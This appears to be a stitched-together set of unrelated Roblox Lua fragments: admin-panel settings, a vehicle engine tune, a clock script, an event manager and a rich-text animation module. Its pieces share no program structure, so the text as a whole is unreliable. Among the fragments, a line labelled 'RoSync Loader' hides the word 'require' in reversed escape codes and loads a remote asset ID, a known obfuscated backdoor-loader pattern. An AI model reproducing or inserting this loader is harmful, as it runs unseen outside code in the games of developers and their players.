NoticeSoundId = 2865227271; -- The SoundId for notices.
NoticeVolume = 0.1; -- The Volume for notices.
NoticePitch = 1; -- The Pitch/PlaybackSpeed for notices.
ErrorSoundId = 2865228021; -- The SoundId for error notifications.
ErrorVolume = 0.1; -- The Volume for error notifications.
ErrorPitch = 1; -- The Pitch/PlaybackSpeed for error notifications.
AlertSoundId = 9161622880; -- The SoundId for alerts.
AlertVolume = 0.5; -- The Volume for alerts.
AlertPitch = 1; -- The Pitch/PlaybackSpeed for alerts.
WelcomeBadgeId = 0; -- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.
CommandDebounce = true; -- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.
SaveRank = true; -- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.
LoopCommands = 3; -- The minimum rank required to use LoopCommands.
MusicList = {}; -- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.
ThemeColors = { -- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};
{"Red", Color3.fromRGB(150, 0, 0), };
{"Orange", Color3.fromRGB(150, 75, 0), };
{"Brown", Color3.fromRGB(120, 80, 30), };
{"Yellow", Color3.fromRGB(130, 120, 0), };
{"Green", Color3.fromRGB(0, 120, 0), };
{"Blue", Color3.fromRGB(0, 100, 150), };
{"Purple", Color3.fromRGB(100, 0, 150), };
{"Pink", Color3.fromRGB(150, 0, 100), };
{"Black", Color3.fromRGB(60, 60, 60), };
};
Colors = { -- The colours for ChatColors and command arguments. | Format: {"ShortName", "FullName", Color3Value};
{"r", "Red", Color3.fromRGB(255, 0, 0) };
{"o", "Orange", Color3.fromRGB(250, 100, 0) };
{"y", "Yellow", Color3.fromRGB(255, 255, 0) };
{"g", "Green" , Color3.fromRGB(0, 255, 0) };
{"dg", "DarkGreen" , Color3.fromRGB(0, 125, 0) };
{"b", "Blue", Color3.fromRGB(0, 255, 255) };
{"db", "DarkBlue", Color3.fromRGB(0, 50, 255) };
{"p", "Purple", Color3.fromRGB(150, 0, 255) };
{"pk", "Pink", Color3.fromRGB(255, 85, 185) };
{"bk", "Black", Color3.fromRGB(0, 0, 0) };
{"w", "White", Color3.fromRGB(255, 255, 255) };
};
ChatColors = { -- The colour a player's chat will appear depending on their rank. '["Owner"] = "Yellow";' makes the owner's chat yellow.
[5] = "Yellow";
};
Cmdbar = 3; -- The minimum rank required to use the Cmdbar.
Cmdbar2 = 3; -- The minimum rank required to use the Cmdbar2.
ViewBanland = 3; -- The minimum rank required to view the banland.
OnlyShowUsableCommands = false; -- Only display commands equal to or below the user's rank on the Commands page.
RankRequiredToViewPage = { -- || The pages on the main menu ||
["Commands"] = 3;
["Admin"] = 3;
["Settings"] = 3;
};
RankRequiredToViewRank = { -- || The rank categories on the 'Ranks' subPage under Admin ||
["Owner"] = 3;
["HeadAdmin"] = 3;
["Admin"] = 3;
["Mod"] = 3;
["VIP"] = 3;
};
RankRequiredToViewRankType = { -- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||
["Owner"] = 0;
["SpecificUsers"] = 5;
["Gamepasses"] = 0;
["Assets"] = 0;
["Groups"] = 0;
["Friends"] = 0;
["FreeAdmin"] = 0;
["VipServerOwner"] = 0;
};
RankRequiredToViewIcon = 3;
WelcomeRankNotice = false; -- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.
WelcomeDonorNotice = false; -- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.
WarnIncorrectPrefix = true; -- Warn the user if using the wrong prefix | "Invalid prefix! Try using [correctPrefix][commandName] instead!"
DisableAllNotices = false; -- Set to true to disable all HD Admin notices.
ScaleLimit = 4; -- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.
IgnoreScaleLimit = 3; -- Any ranks equal or above this value will ignore 'ScaleLimit'
CommandLimits = { -- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit.
["fly"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["fly2"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["noclip"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["noclip2"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["speed"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["jumpPower"] = {
Limit = 10000;
IgnoreLimit = 3;
};
};
VIPServerCommandBlacklist = {"permRank", "permBan", "globalAnnouncement"}; -- Commands players are probihited from using in VIP Servers.
GearBlacklist = {67798397}; -- The IDs of gear items to block when using the ;gear command.
IgnoreGearBlacklist = 3; -- The minimum rank required to ignore the gear blacklist.
PlayerDataStoreVersion = "V1.0"; -- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.
SystemDataStoreVersion = "V1.0"; -- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.
CoreNotices = { -- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]
--NoticeName = NoticeDetails;
};
|
--immediatly
|
game.Workspace.window.die.Transparency = 0.4
game.Workspace.Specksoof.ParticleEmitter.Enabled = true
game.Workspace.Firereactor.Particles.Enabled = true
game.Workspace.Firereactor.Particles1.Enabled = true
game.Workspace.Firereactor.Smoke.Enabled = true
game.Workspace.Firereactor.Light.Enabled = true
game.Workspace.Firereactor.Sound:Play()
|
--[[
Set the current node's status based on that of its children. If all children
are skipped, mark it as skipped. If any are fails, mark it as failed.
Otherwise, mark it as success.
]]
|
function TestSession:setStatusFromChildren()
assert(#self.nodeStack > 0, "Attempting to set status from children on empty stack")
local last = self.nodeStack[#self.nodeStack]
local status = TestEnum.TestStatus.Success
local skipped = true
-- If all children were skipped, then we were skipped
-- If any child failed, then we failed!
for _, child in ipairs(last.children) do
if child.status ~= TestEnum.TestStatus.Skipped then
skipped = false
if child.status == TestEnum.TestStatus.Failure then
status = TestEnum.TestStatus.Failure
end
end
end
if skipped then
status = TestEnum.TestStatus.Skipped
end
last.status = status
end
return TestSession
|
-- @outline // PRIVATE PROPERTIES
|
local UIS = game:GetService("UserInputService")
local Cam = game.Workspace.Camera
local ScrollValue = 0
|
--------STAGE--------
|
game.Workspace.projection1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLeftBackground.Value)..""
game.Workspace.projection2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentRightBackground.Value)..""
|
--[[Engine]]
|
-- [TORQUE CURVE VISUAL]
-- https://www.desmos.com/calculator/nap6stpjqf
-- Use sliders to manipulate values
-- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.
Tune.Horsepower = 750
Tune.IdleRPM = 800
Tune.PeakRPM = 4500
Tune.Redline = 4350
Tune.EqPoint = 4350
Tune.PeakSharpness = 20
Tune.CurveMult = 0.2
Tune.InclineComp = 1.2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Turbo Settings
Tune.Aspiration = "Super" --[[
[Aspiration]
"Natural" : N/A, Naturally aspirated engine
"Single" : Single turbocharger
"Double" : Twin turbocharger
"Super" : Supercharger ]]
Tune.Boost = 3 --Max PSI (If you have two turbos and this is 15, the PSI will be 30)
Tune.TurboSize = 25 --Turbo size; the bigger it is, the more lag it has.
Tune.CompressRatio = 9 --The compression ratio (look it up)
Tune.Sensitivity = 0.05 --How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1)
--Misc
Tune.RevAccel = 300 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
--[[Gabes variables]]
|
local CurrKickdown = 0
local LaunchBuild = _Tune.IdleRPM
local Rev = script.Parent.Values.RPM
car.DriveSeat.DriveMode.Changed:Connect(function()
if car.DriveSeat.DriveMode.Value == "SportPlus" then
if _Tune.TCSEnabled and _IsOn then
_TCS = false
end
else
if _Tune.TCSEnabled and _IsOn then
_TCS = true
end
end
end)
|
--Load the Nexus VR Character Model module.
|
local NexusVRCharacterModelModule
local MainModule = script:FindFirstChild("MainModule")
if MainModule then
NexusVRCharacterModelModule = require(MainModule)
else
NexusVRCharacterModelModule = require(10728814921) -- was 6052374981
end
|
-----
|
local BlockingRemote = RS.Events.Blocking
local RemoveBlocking = RS.Events.BlockingEnd
|
-- Ganondude
|
local time_zone = -5 -- Time zone, offset from GMT.
local clock = script.Parent
local face = clock.Face
local hour_hand = clock.Hour
local minute_hand = clock.Minute
local second_hand = clock.Second
local secondsInDay = 60*60*24
function rotateClockHand(hand,rotation)
local lv = (face.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*face.Size.Y/2.5
hand.CFrame = face.CFrame*CFrame.Angles(0,-rotation,0) + lv
hand.CFrame = hand.CFrame - hand.CFrame.lookVector*hand.Size.Z/2
end
while true do
local tick = math.fmod(tick(),secondsInDay)
local hour = math.floor(tick/3600) + 5 + time_zone
local minute = math.floor(tick/60 - 60*hour)
local second = math.floor(math.fmod(tick,60))
rotateClockHand(hour_hand,hour*(math.pi/6) + minute*(math.pi/500))
rotateClockHand(minute_hand,minute*(math.pi/30))
rotateClockHand(second_hand,second*(math.pi/30))
wait(0.1)
end
|
--game.Players.LocalPlayer:WaitForChild("PlayerGui"):WaitForChild("Sound"):Play()
|
while game:GetService("RunService").RenderStepped:wait() do
workspace.CurrentCamera.CameraType = "Scriptable"
local l = 0--(game.Players.LocalPlayer:WaitForChild("PlayerGui"):WaitForChild("Sound").PlaybackLoudness /10)
l = (l^3)/500
local lv = Vector3.new(-l,l/5,0)
workspace.CurrentCamera:Interpolate(workspace:WaitForChild("CamPart").CFrame,workspace:WaitForChild("CamPart").CFrame + (workspace:WaitForChild("CamPart").CFrame.lookVector * Vector3.new(10,10,10)) + lv,2)
end
|
-- Private Methods
|
function init(self)
local label = self.Frame.Label
local container = self.Frame.CheckContainer
local checkmark = self.Button.Checkmark
local function contentSizeUpdate()
local absSize = self.Frame.AbsoluteSize
local ratio = absSize.y / absSize.x
container.Size = UDim2.new(ratio, 0, 1, 0)
label.Size = UDim2.new(1 - ratio, -10, 1, 0)
label.Position = UDim2.new(ratio, 10, 0, 0)
end
contentSizeUpdate()
self._Maid:Mark(self.Frame:GetPropertyChangedSignal("AbsoluteSize"):Connect(contentSizeUpdate))
self._Maid:Mark(self.Button.Activated:Connect(function()
self:SetValue(not checkmark.Visible)
end))
end
|
--[[
A manager for a single host virtual node's connected events.
]]
|
local Logging = require(script.Parent.Logging)
local CHANGE_PREFIX = "Change."
local EventStatus = {
-- No events are processed at all; they're silently discarded
Disabled = "Disabled",
-- Events are stored in a queue; listeners are invoked when the manager is resumed
Suspended = "Suspended",
-- Event listeners are invoked as the events fire
Enabled = "Enabled",
}
local SingleEventManager = {}
SingleEventManager.__index = SingleEventManager
function SingleEventManager.new(instance)
local self = setmetatable({
-- The queue of suspended events
_suspendedEventQueue = {},
-- All the event connections being managed
-- Events are indexed by a string key
_connections = {},
-- All the listeners being managed
-- These are stored distinctly from the connections
-- Connections can have their listeners replaced at runtime
_listeners = {},
-- The suspension status of the manager
-- Managers start disabled and are "resumed" after the initial render
_status = EventStatus.Disabled,
-- If true, the manager is processing queued events right now.
_isResuming = false,
-- The Roblox instance the manager is managing
_instance = instance,
}, SingleEventManager)
return self
end
function SingleEventManager:connectEvent(key, listener)
self:_connect(key, self._instance[key], listener)
end
function SingleEventManager:connectPropertyChange(key, listener)
local event = self._instance:GetPropertyChangedSignal(key)
self:_connect(CHANGE_PREFIX .. key, event, listener)
end
function SingleEventManager:_connect(eventKey, event, listener)
-- If the listener doesn't exist we can just disconnect the existing connection
if listener == nil then
if self._connections[eventKey] ~= nil then
self._connections[eventKey]:Disconnect()
self._connections[eventKey] = nil
end
self._listeners[eventKey] = nil
else
if self._connections[eventKey] == nil then
self._connections[eventKey] = event:Connect(function(...)
if self._status == EventStatus.Enabled then
self._listeners[eventKey](self._instance, ...)
elseif self._status == EventStatus.Suspended then
-- Store this event invocation to be fired when resume is
-- called.
local argumentCount = select("#", ...)
table.insert(self._suspendedEventQueue, { eventKey, argumentCount, ... })
end
end)
end
self._listeners[eventKey] = listener
end
end
function SingleEventManager:suspend()
self._status = EventStatus.Suspended
end
function SingleEventManager:resume()
-- If we're already resuming events for this instance, trying to resume
-- again would cause a disaster.
if self._isResuming then
return
end
self._isResuming = true
local index = 1
-- More events might be added to the queue when evaluating events, so we
-- need to be careful in order to preserve correct evaluation order.
while index <= #self._suspendedEventQueue do
local eventInvocation = self._suspendedEventQueue[index]
local listener = self._listeners[eventInvocation[1]]
local argumentCount = eventInvocation[2]
-- The event might have been disconnected since suspension started; in
-- this case, we drop the event.
if listener ~= nil then
-- Wrap the listener in a coroutine to catch errors and handle
-- yielding correctly.
local listenerCo = coroutine.create(listener)
local success, result = coroutine.resume(
listenerCo,
self._instance,
unpack(eventInvocation, 3, 2 + argumentCount))
-- If the listener threw an error, we log it as a warning, since
-- there's no way to write error text in Roblox Lua without killing
-- our thread!
if not success then
Logging.warn("%s", result)
end
end
index = index + 1
end
self._isResuming = false
self._status = EventStatus.Enabled
self._suspendedEventQueue = {}
end
return SingleEventManager
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
ZoneModelName = "Fell + killer" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- declarations
|
ToolAnim = "None"
ToolAnimTime = 0
JumpAnimTime = 0
JumpAnimDuration = 0.3
ToolTransitionTime = 0.1
FallTransitionTime = 0.3
JumpMaxLimbVelocity = 0.75
|
-- LOCAL FUNCTIONS
|
local function checkTopbarEnabled()
local success, bool = xpcall(function()
return starterGui:GetCore("TopbarEnabled")
end,function(err)
--has not been registered yet, but default is that is enabled
return true
end)
return (success and bool)
end
local function checkTopbarEnabledAccountingForMimic()
local topbarEnabledAccountingForMimic = (checkTopbarEnabled() or not IconController.mimicCoreGui)
return topbarEnabledAccountingForMimic
end
|
--[[ Last synced 9/4/2021 12:51 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
------------------------------------------------------------------------
-- this is a stripped-down luaM_growvector (from lmem.h) which is a
-- macro based on luaM_growaux (in lmem.c); all the following does is
-- reproduce the size limit checking logic of the original function
-- so that error behaviour is identical; all arguments preserved for
-- convenience, even those which are unused
-- * set the t field to nil, since this originally does a sizeof(t)
-- * size (originally a pointer) is never updated, their final values
-- are set by luaY:close_func(), so overall things should still work
------------------------------------------------------------------------
|
function luaY:growvector(L, v, nelems, size, t, limit, e)
if nelems >= limit then
error(e) -- was luaG_runerror
end
end
|
--------- MODULE BEGIN ---------
|
local textService = game:GetService("TextService")
local runService = game:GetService("RunService")
local animationCount = 0
function getLayerCollector(frame)
if not frame then
return nil
elseif frame:IsA("LayerCollector") then
return frame
elseif frame and frame.Parent then
return getLayerCollector(frame.Parent)
else
return nil
end
end
function shallowCopy(tab)
local ret = {}
for key, value in pairs(tab) do
ret[key] = value
end
return ret
end
function getColorFromString(value)
if richText.ColorShortcuts[value] then
return richText.ColorShortcuts[value]
else
local r, g, b = value:match("(%d+),(%d+),(%d+)")
return Color3.new(r / 255, g / 255, b / 255)
end
end
function getVector2FromString(value)
local x, y = value:match("(%d+),(%d+)")
return Vector2.new(x, y)
end
function setHorizontalAlignment(frame, alignment)
if alignment == "Left" then
frame.AnchorPoint = Vector2.new(0, 0)
frame.Position = UDim2.new(0, 0, 0, 0)
elseif alignment == "Center" then
frame.AnchorPoint = Vector2.new(0.5, 0)
frame.Position = UDim2.new(0.5, 0, 0, 0)
elseif alignment == "Right" then
frame.AnchorPoint = Vector2.new(1, 0)
frame.Position = UDim2.new(1, 0, 0, 0)
end
end
function richText:New(frame, text, startingProperties, allowOverflow, prevTextObject)
for _, v in pairs(frame:GetChildren()) do
v:Destroy()
end
if allowOverflow == nil then
allowOverflow = true
end
local properties = {}
local defaultProperties = {}
if prevTextObject then
text = prevTextObject.Text
startingProperties = prevTextObject.StartingProperties
end
local lineFrames = {}
local textFrames = {}
local frameProperties = {}
local linePosition = 0
local overflown = false
local textLabel = Instance.new("TextLabel")
local imageLabel = Instance.new("ImageLabel")
local layerCollector = getLayerCollector(frame)
textLabel.AutoLocalize = false
local applyProperty, applyMarkup, formatLabel, printText, printImage, printSeries
----- Apply properties / markups -----
function applyMarkup(key, value)
key = propertyShortcuts[key] or key
if value == "/" then
if defaultProperties[key] then
value = defaultProperties[key]
else
warn("Attempt to default <"..key.."> to value with no default")
end
end
if tonumber(value) then
value = tonumber(value)
elseif value == "false" or value == "true" then
value = value == "true"
end
properties[key] = value
if applyProperty(key, value) then
-- Ok
elseif key == "ContainerHorizontalAlignment" and lineFrames[#lineFrames] then
setHorizontalAlignment(lineFrames[#lineFrames].Container, value)
elseif defaults[key] then
-- Ok
elseif key == "Img" then
printImage(value)
else
-- Unknown value
return false
end
return true
end
function applyProperty(name, value, frame)
local propertyType
local ret = false
for _, label in pairs(frame and {frame} or {textLabel, imageLabel}) do
local isProperty = pcall(function() propertyType = typeof(label[name]) end) -- is there a better way to check if it's a property?
if isProperty then
if propertyType == "Color3" then
label[name] = getColorFromString(value)
elseif propertyType == "Vector2" then
label[name] = getVector2FromString(value)
else
label[name] = value
end
ret = true
end
end
return ret
end
----- Set up default properties -----
for name, value in pairs(defaults) do
applyMarkup(name, value)
defaultProperties[propertyShortcuts[name] or name] = properties[propertyShortcuts[name] or name]
end
for name, value in pairs(startingProperties or {}) do
applyMarkup(name, value)
defaultProperties[propertyShortcuts[name] or name] = properties[propertyShortcuts[name] or name]
end
if prevTextObject then
properties = prevTextObject.OverflowPickupProperties
for name, value in pairs(properties) do
applyMarkup(name, value)
end
end
----- Get vertical size -----
local function getTextSize()
if properties.TextScaled == true then
local relativeHeight
if properties.TextScaleRelativeTo == "Screen" then
relativeHeight = layerCollector.AbsoluteSize.Y
elseif properties.TextScaleRelativeTo == "Frame" then
relativeHeight = frame.AbsoluteSize.Y
end
return math.min(properties.TextScale * relativeHeight, 100)
else
return properties.TextSize
end
end
----- Lines -----
local contentHeight = 0
local function newLine()
local lastLineFrame = lineFrames[#lineFrames]
if lastLineFrame then
contentHeight = contentHeight + lastLineFrame.Size.Y.Offset
if not allowOverflow and contentHeight + getTextSize() > frame.AbsoluteSize.Y then
overflown = true
return
end
end
local lineFrame = Instance.new("Frame")
lineFrame.Name = string.format("Line%03d", #lineFrames + 1)
lineFrame.Size = UDim2.new(0, 0, 0, 0)
lineFrame.BackgroundTransparency = 1
local textContainer = Instance.new("Frame", lineFrame)
textContainer.Name = "Container"
textContainer.Size = UDim2.new(0, 0, 0, 0)
textContainer.BackgroundTransparency = 1
setHorizontalAlignment(textContainer, properties.ContainerHorizontalAlignment)
lineFrame.Parent = frame
table.insert(lineFrames, lineFrame)
textFrames[#lineFrames] = {}
linePosition = 0
end
newLine()
----- Label printing -----
local function addFrameProperties(frame)
frameProperties[frame] = shallowCopy(properties)
frameProperties[frame].InitialSize = frame.Size
frameProperties[frame].InitialPosition = frame.Position
frameProperties[frame].InitialAnchorPoint = frame.AnchorPoint
end
function formatLabel(newLabel, labelHeight, labelWidth, endOfLineCallback)
local lineFrame = lineFrames[#lineFrames]
local verticalAlignment = tostring(properties.TextYAlignment)
if verticalAlignment == "Top" then
newLabel.Position = UDim2.new(0, linePosition, 0, 0)
newLabel.AnchorPoint = Vector2.new(0, 0)
elseif verticalAlignment == "Center" then
newLabel.Position = UDim2.new(0, linePosition, 0.5, 0)
newLabel.AnchorPoint = Vector2.new(0, 0.5)
elseif verticalAlignment == "Bottom" then
newLabel.Position = UDim2.new(0, linePosition, 1, 0)
newLabel.AnchorPoint = Vector2.new(0, 1)
end
linePosition = linePosition + labelWidth
if linePosition > frame.AbsoluteSize.X and not (linePosition == labelWidth) then
-- Newline, get rid of label and retry it on the next line
newLabel:Destroy()
local lastLabel = textFrames[#lineFrames][#textFrames[#lineFrames]]
if lastLabel:IsA("TextLabel") and lastLabel.Text == " " then -- get rid of trailing space
lineFrame.Container.Size = UDim2.new(0, linePosition - labelWidth - lastLabel.Size.X.Offset, 1, 0)
lastLabel:Destroy()
table.remove(textFrames[#lineFrames])
end
newLine()
endOfLineCallback()
else
-- Label is ok
newLabel.Size = UDim2.new(0, labelWidth, 0, labelHeight)
lineFrame.Container.Size = UDim2.new(0, linePosition, 1, 0)
lineFrame.Size = UDim2.new(1, 0, 0, math.max(lineFrame.Size.Y.Offset, labelHeight))
newLabel.Name = string.format("Group%03d", #textFrames[#lineFrames] + 1)
newLabel.Parent = lineFrame.Container
table.insert(textFrames[#lineFrames], newLabel)
addFrameProperties(newLabel)
properties.AnimateYield = 0
end
end
function printText(text)
if text == "\n" then
newLine()
return
elseif text == " " and linePosition == 0 then
return -- no leading spaces
end
local textSize = getTextSize()
local textWidth = textService:GetTextSize(text, textSize, textLabel.Font, Vector2.new(layerCollector.AbsoluteSize.X, textSize)).X
local newTextLabel = textLabel:Clone()
newTextLabel.TextScaled = false
newTextLabel.TextSize = textSize
newTextLabel.Text = text -- This text is never actually displayed. We just use it as a reference for knowing what the group string is.
newTextLabel.TextTransparency = 1
newTextLabel.TextStrokeTransparency = 1
newTextLabel.TextWrapped = false
-- Keep the real text in individual frames per character:
local charPos = 0
local i = 1
for first, last in utf8.graphemes(text) do
local character = string.sub(text, first, last)
local characterWidth = textService:GetTextSize(character, textSize, textLabel.Font, Vector2.new(layerCollector.AbsoluteSize.X, textSize)).X
local characterLabel = textLabel:Clone()
characterLabel.Text = character
characterLabel.TextScaled = false
characterLabel.TextSize = textSize
characterLabel.Position = UDim2.new(0, charPos, 0, 0)
characterLabel.Size = UDim2.new(0, characterWidth + 1, 0, textSize)
characterLabel.Name = string.format("Char%03d", i)
characterLabel.Parent = newTextLabel
characterLabel.Visible = false
addFrameProperties(characterLabel)
charPos = charPos + characterWidth
i = i + 1
end
formatLabel(newTextLabel, textSize, textWidth, function() if not overflown then printText(text) end end)
end
function printImage(imageId)
local imageHeight = getTextSize()
local imageWidth = imageHeight -- Would be nice if we could get aspect ratio of image to get width properly.
local newImageLabel = imageLabel:Clone()
if richText.ImageShortcuts[imageId] then
newImageLabel.Image = typeof(richText.ImageShortcuts[imageId]) == "number" and "rbxassetid://"..richText.ImageShortcuts[imageId] or richText.ImageShortcuts[imageId]
else
newImageLabel.Image = "rbxassetid://"..imageId
end
newImageLabel.Size = UDim2.new(0, imageHeight, 0, imageWidth)
newImageLabel.Visible = false
formatLabel(newImageLabel, imageHeight, imageWidth, function() if not overflown then printImage(imageId) end end)
end
function printSeries(labelSeries)
for _, t in pairs(labelSeries) do
local markupKey, markupValue = string.match(t, "<(.+)=(.+)>")
if markupKey and markupValue then
if not applyMarkup(markupKey, markupValue) then
warn("Could not apply markup: ", t)
end
else
printText(t)
end
end
end
----- Text traversal + parsing -----
local overflowText
local textPos = 1
local textLength = #text
local labelSeries = {}
if prevTextObject then
textPos = prevTextObject.OverflowPickupIndex
end
while textPos and textPos <= textLength do
local nextMarkupStart, nextMarkupEnd = string.find(text, "<.->", textPos)
local nextSpaceStart, nextSpaceEnd = string.find(text, "[ \t\n]", textPos)
local nextBreakStart, nextBreakEnd, breakIsWhitespace
if nextMarkupStart and nextMarkupEnd and (not nextSpaceStart or nextMarkupStart < nextSpaceStart) then
nextBreakStart, nextBreakEnd = nextMarkupStart, nextMarkupEnd
else
nextBreakStart, nextBreakEnd = nextSpaceStart or textLength + 1, nextSpaceEnd or textLength + 1
breakIsWhitespace = true
end
local nextWord = nextBreakStart > textPos and string.sub(text, textPos, nextBreakStart - 1) or nil
local nextBreak = nextBreakStart <= textLength and string.sub(text, nextBreakStart, nextBreakEnd) or nil
table.insert(labelSeries, nextWord)
if breakIsWhitespace then
printSeries(labelSeries)
if overflown then
break
end
printSeries({nextBreak})
if overflown then
textPos = nextBreakStart
break
end
labelSeries = {}
else
table.insert(labelSeries, nextBreak)
end
textPos = nextBreakEnd + 1
--textPos = utf8.offset(text, 2, nextBreakEnd)
end
if not overflown then
printSeries(labelSeries)
end
----- Alignment layout -----
local listLayout = Instance.new("UIListLayout")
listLayout.HorizontalAlignment = properties.ContainerHorizontalAlignment
listLayout.VerticalAlignment = properties.ContainerVerticalAlignment
listLayout.Parent = frame
----- Calculate content size -----
local contentHeight = 0
local contentLeft = frame.AbsoluteSize.X
local contentRight = 0
for _, lineFrame in pairs(lineFrames) do
contentHeight = contentHeight + lineFrame.Size.Y.Offset
local container = lineFrame.Container
local left, right
if container.AnchorPoint.X == 0 then
left = container.Position.X.Offset
right = container.Size.X.Offset
elseif container.AnchorPoint.X == 0.5 then
left = lineFrame.AbsoluteSize.X / 2 - container.Size.X.Offset / 2
right = lineFrame.AbsoluteSize.X / 2 + container.Size.X.Offset / 2
elseif container.AnchorPoint.X == 1 then
left = lineFrame.AbsoluteSize.X - container.Size.X.Offset
right = lineFrame.AbsoluteSize.X
end
contentLeft = math.min(contentLeft, left)
contentRight = math.max(contentRight, right)
end
----- Animation -----
animationCount = animationCount + 1
local animationDone = false
local allTextReached = false
local overrideYield = false
local animationRenderstepBinding = "TextAnimation"..animationCount
local animateQueue = {}
local function updateAnimations()
if allTextReached and #animateQueue == 0 or animationDone then
animationDone = true
runService:UnbindFromRenderStep(animationRenderstepBinding)
animateQueue = {}
return
end
local t = tick()
for i = #animateQueue, 1, -1 do
local set = animateQueue[i]
local properties = set.Settings
local animateStyle = animationStyles[properties.AnimateStyle]
if not animateStyle then
warn("No animation style found for: ", properties.AnimateStyle, ", defaulting to Appear")
animateStyle = animationStyles.Appear
end
local animateAlpha = math.min((t - set.Start) / properties.AnimateStyleTime, 1)
animateStyle(set.Char, animateAlpha, properties)
if animateAlpha >= 1 then
table.remove(animateQueue, i)
end
end
end
local function setFrameToDefault(frame)
frame.Position = frameProperties[frame].InitialPosition
frame.Size = frameProperties[frame].InitialSize
frame.AnchorPoint = frameProperties[frame].InitialAnchorPoint
for name, value in pairs(frameProperties[frame]) do
applyProperty(name, value, frame)
end
end
local function setGroupVisible(frame, visible)
frame.Visible = visible
for _, v in pairs(frame:GetChildren()) do
v.Visible = visible
if visible then
setFrameToDefault(v)
end
end
if visible and frame:IsA("ImageLabel") then
setFrameToDefault(frame)
end
end
local function animate(waitForAnimationToFinish)
animationDone = false
runService:BindToRenderStep(animationRenderstepBinding, Enum.RenderPriority.Last.Value, updateAnimations)
local stepGrouping
local stepTime
local stepFrequency
local numAnimated
-- Make everything invisible to start
for lineNum, list in pairs(textFrames) do
for _, frame in pairs(list) do
setGroupVisible(frame, false)
end
end
local function animateCharacter(char, properties)
table.insert(animateQueue, {Char = char, Settings = properties, Start = tick()})
end
local function yield()
if not overrideYield and numAnimated % stepFrequency == 0 and stepTime >= 0 then
local yieldTime = stepTime > 0 and stepTime or nil
wait(yieldTime)
end
end
for lineNum, list in pairs(textFrames) do
for _, frame in pairs(list) do
local properties = frameProperties[frame]
if not (properties.AnimateStepGrouping == stepGrouping) or not (properties.AnimateStepFrequency == stepFrequency) then
numAnimated = 0
end
stepGrouping = properties.AnimateStepGrouping
stepTime = properties.AnimateStepTime
stepFrequency = properties.AnimateStepFrequency
if properties.AnimateYield > 0 then
wait(properties.AnimateYield)
end
if stepGrouping == "Word" or stepGrouping == "All" then
--if not (frame:IsA("TextLabel") and (frame.Text == " ")) then
if frame:IsA("TextLabel") then
frame.Visible = true
for _, v in pairs(frame:GetChildren()) do
animateCharacter(v, frameProperties[v])
end
else
animateCharacter(frame, properties)
end
if stepGrouping == "Word" then
numAnimated = numAnimated + 1
yield()
end
--end
elseif stepGrouping == "Letter" then
if frame:IsA("TextLabel") --[[and not (frame.Text == " ") ]]then
frame.Visible = true
local text = frame.Text
local i = 1
while true do
local v = frame:FindFirstChild(string.format("Char%03d", i))
if not v then
break
end
animateCharacter(v, frameProperties[v])
numAnimated = numAnimated + 1
yield()
if animationDone then
return
end
i = i + 1
end
else
animateCharacter(frame, properties)
numAnimated = numAnimated + 1
yield()
end
else
warn("Invalid step grouping: ", stepGrouping)
end
if animationDone then
return
end
end
end
allTextReached = true
if waitForAnimationToFinish then
while #animateQueue > 0 do
runService.RenderStepped:Wait()
end
end
end
local textObject = {}
----- Overflowing -----
textObject.Overflown = overflown
textObject.OverflowPickupIndex = textPos
textObject.StartingProperties = startingProperties
textObject.OverflowPickupProperties = properties
textObject.Text = text
if prevTextObject then
prevTextObject.NextTextObject = textObject
end
-- to overflow: check if textObject.Overflown, then use richText:ContinueOverflow(newFrame, textObject) to continue to another frame.
----- Return object API -----
textObject.ContentSize = Vector2.new(contentRight - contentLeft, contentHeight)
function textObject:Animate(yield)
if yield then
animate()
else
coroutine.wrap(animate)()
end
if self.NextTextObject then
self.NextTextObject:Animate(yield)
end
end
function textObject:Show(finishAnimation)
if finishAnimation then
overrideYield = true
else
animationDone = true
for lineNum, list in pairs(textFrames) do
for _, frame in pairs(list) do
setGroupVisible(frame, true)
end
end
end
if self.NextTextObject then
self.NextTextObject:Show(finishAnimation)
end
end
function textObject:Hide()
animationDone = true
for lineNum, list in pairs(textFrames) do
for _, frame in pairs(list) do
setGroupVisible(frame, false)
end
end
if self.NextTextObject then
self.NextTextObject:Hide()
end
end
return textObject
end
function richText:ContinueOverflow(newFrame, prevTextObject)
return richText:New(newFrame, nil, nil, false, prevTextObject)
end
return richText
|
